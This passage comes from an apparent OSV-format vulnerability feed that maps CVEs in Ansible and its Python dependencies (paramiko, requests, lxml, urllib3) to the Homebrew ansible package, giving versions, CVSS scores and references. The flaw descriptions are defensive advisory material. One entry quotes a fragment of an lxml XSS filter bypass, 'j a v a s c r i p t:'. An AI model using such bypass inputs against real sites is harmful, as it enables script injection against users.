20170701161323/http://www.securityfocus.com/bid/97595"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2017-7481","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2017-7481","GHSA-w578-j992-554x","PYSEC-2018-41"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.0.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible before versions 2.3.1.0 and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/98492"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1244"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2017:2524"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"ADVISORY","url":"https://usn.ubuntu.com/4072-1/"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7481"},{"type":"FIX","url":"https://github.com/ansible/ansible/commit/ed56f51f185a1ffd7ea57130d260098686fcc7c2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2017-7550","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2017-7550","GHSA-588w-w6mv-3cw5","PYSEC-2017-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.1.0"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"}]},"details":"A flaw was found in the way Ansible (2.3.x before 2.3.3, and 2.4.x before 2.4.1) passed certain parameters to the jenkins_plugin module. Remote attackers could use this flaw to expose sensitive information from a remote host's logs. This flaw was fixed by not allowing passwords to be specified in the \"params\" argument, and noting this in the module documentation.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"REPORT","url":"https://access.redhat.com/errata/RHSA-2017:2966"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1473645"},{"type":"REPORT","url":"https://github.com/ansible/ansible/issues/30874"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-1000805","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-f2j6-wrhh-v25m","CVE-2018-1000805","PYSEC-2018-69"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.2","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.0.0","key":"pkg:pypi/paramiko@5.0.0","resource":"paramiko"}]},"summary":"Paramiko Authentication Bypass vulnerability","details":"Paramiko version 2.4.1, 2.3.2, 2.2.3, 2.1.5, 2.0.8, 1.18.5, 1.17.6 contains a Incorrect Access Control vulnerability in SSH server that can result in RCE. This attack appear to be exploitable via network connectivity.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-1000805"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/issues/1283"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3497"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3347"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3406"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:3505"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-f2j6-wrhh-v25m"},{"type":"PACKAGE","url":"https://github.com/paramiko/paramiko"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/paramiko/PYSEC-2018-69.yaml"},{"type":"WEB","url":"https://herolab.usd.de/wp-content/uploads/sites/4/usd20180023.txt"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2018/10/msg00018.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/12/msg00025.html"},{"type":"WEB","url":"https://usn.ubuntu.com/3796-1"},{"type":"WEB","url":"https://usn.ubuntu.com/3796-2"},{"type":"WEB","url":"https://usn.ubuntu.com/3796-3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-10855","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2018-10855","GHSA-jwcc-j78w-j73w","PYSEC-2018-42"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.5"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible 2.5 prior to 2.5.5, and 2.4 prior to 2.4.5, do not honor the no_log task flag for failed tasks. When the no_log flag has been used to protect sensitive data passed to a task from being logged, and that task does not run successfully, Ansible will expose sensitive data in log files and on the terminal of the user running Ansible.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:1948"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:1949"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2022"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2079"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2184"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"ADVISORY","url":"https://usn.ubuntu.com/4072-1/"},{"type":"ADVISORY","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10855"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-10874","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2018-10874","GHSA-3xvg-x47j-x75w","PYSEC-2018-81"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"In ansible it was found that inventory variables are loaded from current working directory when running ad-hoc command which are under attacker's control, allowing to run arbitrary code as a result.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://usn.ubuntu.com/4072-1/"},{"type":"ADVISORY","url":"http://www.securitytracker.com/id/1041396"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10874"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-10875","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2018-10875","GHSA-fc4h-467w-46rh","PYSEC-2018-43"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in ansible. ansible.cfg is read from the current working directory which can be altered to make it point to a plugin or a module path under the control of an attacker, thus allowing the attacker to execute arbitrary code.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"ADVISORY","url":"http://www.securitytracker.com/id/1041396"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"ADVISORY","url":"https://usn.ubuntu.com/4072-1/"},{"type":"ADVISORY","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10875"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-16837","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2018-16837","GHSA-hwrm-63v2-42g4","PYSEC-2018-44"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.1"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"Ansible \"User\" module leaks any data which is passed on as a parameter to ssh-keygen. This could lean in undesirable situations such as passphrases credentials passed as a parameter for the ssh-keygen executable. Showing those credentials in clear text form for every user which have access just to the process list.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1/"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/105700"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3460"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3461"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3462"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3463"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3505"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/cve-2018-16837"},{"type":"ADVISORY","url":"https://lists.debian.org/debian-lts-announce/2018/11/msg00012.html"},{"type":"ADVISORY","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16837"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-16859","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2018-16859","GHSA-v735-2pp6-h86r","PYSEC-2018-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.3"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"}]},"details":"Execution of Ansible playbooks on Windows platforms with PowerShell ScriptBlock logging and Module logging enabled can allow for 'become' passwords to appear in EventLogs in plaintext. A local user with administrator privileges on the machine can view these logs and discover the plaintext password. Ansible Engine 2.8 and older are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/106004"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3770"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3771"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3773"},{"type":"REPORT","url":"https://access.redhat.com/errata/RHSA-2018:3772"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16859"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/49142"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-16876","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2018-16876","GHSA-j569-fghw-f9rx","PYSEC-2019-141"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.5"}}],"database_specific":{"source":"matched","strategy":"git","confidence":"high","upstream_evidence":[{"strategy":"git","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"https://github.com/ansible/ansible"},{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"GIT","name":"https://github.com/ansible/ansible","subject_version":"14.4.0","key":"upstream:https://github.com/ansible/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"14.4.0","key":"upstream:pkg:pypi/ansible@14.4.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"ansible before versions 2.5.14, 2.6.11, 2.7.5 is vulnerable to a information disclosure flaw in vvv+ mode with no_log on that can lead to leakage of sensible data.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-06/msg00077.html"},{"type":"ADVISORY","url":"http://lists.opensuse.org/opensuse-security-announce/2019-08/msg00020.html"},{"type":"ADVISORY","url":"http://www.securityfocus.com/bid/106225"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3835"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3836"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3837"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2018:3838"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:0564"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2019:0590"},{"type":"ADVISORY","url":"https://usn.ubuntu.com/4072-1/"},{"type":"ADVISORY","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"FIX","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-16876"},{"type":"FIX","url":"https://github.com/ansible/ansible/pull/49569"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-18074","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-x84v-xcm2-53pg","CVE-2018-18074","PYSEC-2018-28"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.20.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Insufficiently Protected Credentials in Requests","details":"The Requests package through 2.19.1 before 2018-09-14 for Python sends an HTTP Authorization header to an http URI upon receiving a same-hostname https-to-http redirect, which makes it easier for remote attackers to discover credentials by sniffing the network.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-18074"},{"type":"WEB","url":"https://github.com/requests/requests/issues/4716"},{"type":"WEB","url":"https://github.com/requests/requests/pull/4718"},{"type":"WEB","url":"https://github.com/requests/requests/commit/c45d7c49ea75133e52ab22a8e9e13173938e36ff"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:2035"},{"type":"WEB","url":"https://bugs.debian.org/910766"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/requests/PYSEC-2018-28.yaml"},{"type":"PACKAGE","url":"https://github.com/requests/requests"},{"type":"WEB","url":"https://usn.ubuntu.com/3790-1"},{"type":"WEB","url":"https://usn.ubuntu.com/3790-2"},{"type":"WEB","url":"https://www.oracle.com/security-alerts/cpujul2022.html"},{"type":"WEB","url":"http://docs.python-requests.org/en/master/community/updates/#release-and-version-history"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00024.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-19787","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["GHSA-xp26-p53h-6h2p","CVE-2018-19787","PYSEC-2018-12"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.5","resource":"lxml","resource_purl":"pkg:pypi/lxml@6.1.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"lxml","subject_version":"6.1.3","key":"pkg:pypi/lxml@6.1.3","resource":"lxml"}]},"summary":"Improper Neutralization of Input During Web Page Generation in LXML","details":"An issue was discovered in lxml before 4.2.5. lxml/html/clean.py in the lxml.html.clean module does not remove javascript: URLs that use escaping, allowing a remote attacker to conduct XSS attacks, as demonstrated by \"j a v a s c r i p t:\" in Internet Explorer. This is a similar issue to CVE-2014-3146.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-19787"},{"type":"WEB","url":"https://github.com/lxml/lxml/commit/6be1d081b49c97cfd7b3fbd934a193b668629109"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-xp26-p53h-6h2p"},{"type":"WEB","url":"https://github.com/lxml/lxml"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/lxml/PYSEC-2018-12.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2018/12/msg00001.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/11/msg00044.html"},{"type":"WEB","url":"https://usn.ubuntu.com/3841-1"},{"type":"WEB","url":"https://usn.ubuntu.com/3841-2"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2018-20060","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-www2-v7xj-xrc6","CVE-2018-20060","PYSEC-2018-32"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.23","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in urllib3","details":"urllib3 before version 1.23 does not remove the Authorization HTTP header when following a cross-origin redirect (i.e., a redirect that differs in host, port, or scheme). This can allow for credentials in the Authorization header to be exposed to unintended hosts or transmitted in cleartext.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-20060"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/issues/1316"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/pull/1346"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/560bd227b90f74417ffaedebf5f8d05a8ee4f532"},{"type":"WEB","url":"https://usn.ubuntu.com/3990-1"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20241227-0010"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XWP36YW3KSVLXDBY3QJKDYEPCIMN3VQZ"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/BXLAXHM3Z6DUCXZ7ZXZ2EAYJXWDCZFCT"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5SJERZEJDSUYQP7BNBXMBHRHGY26HRZD"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/06/msg00015.html"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/blob/master/CHANGES.rst"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2018-32.yaml"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1649153"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:2272"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019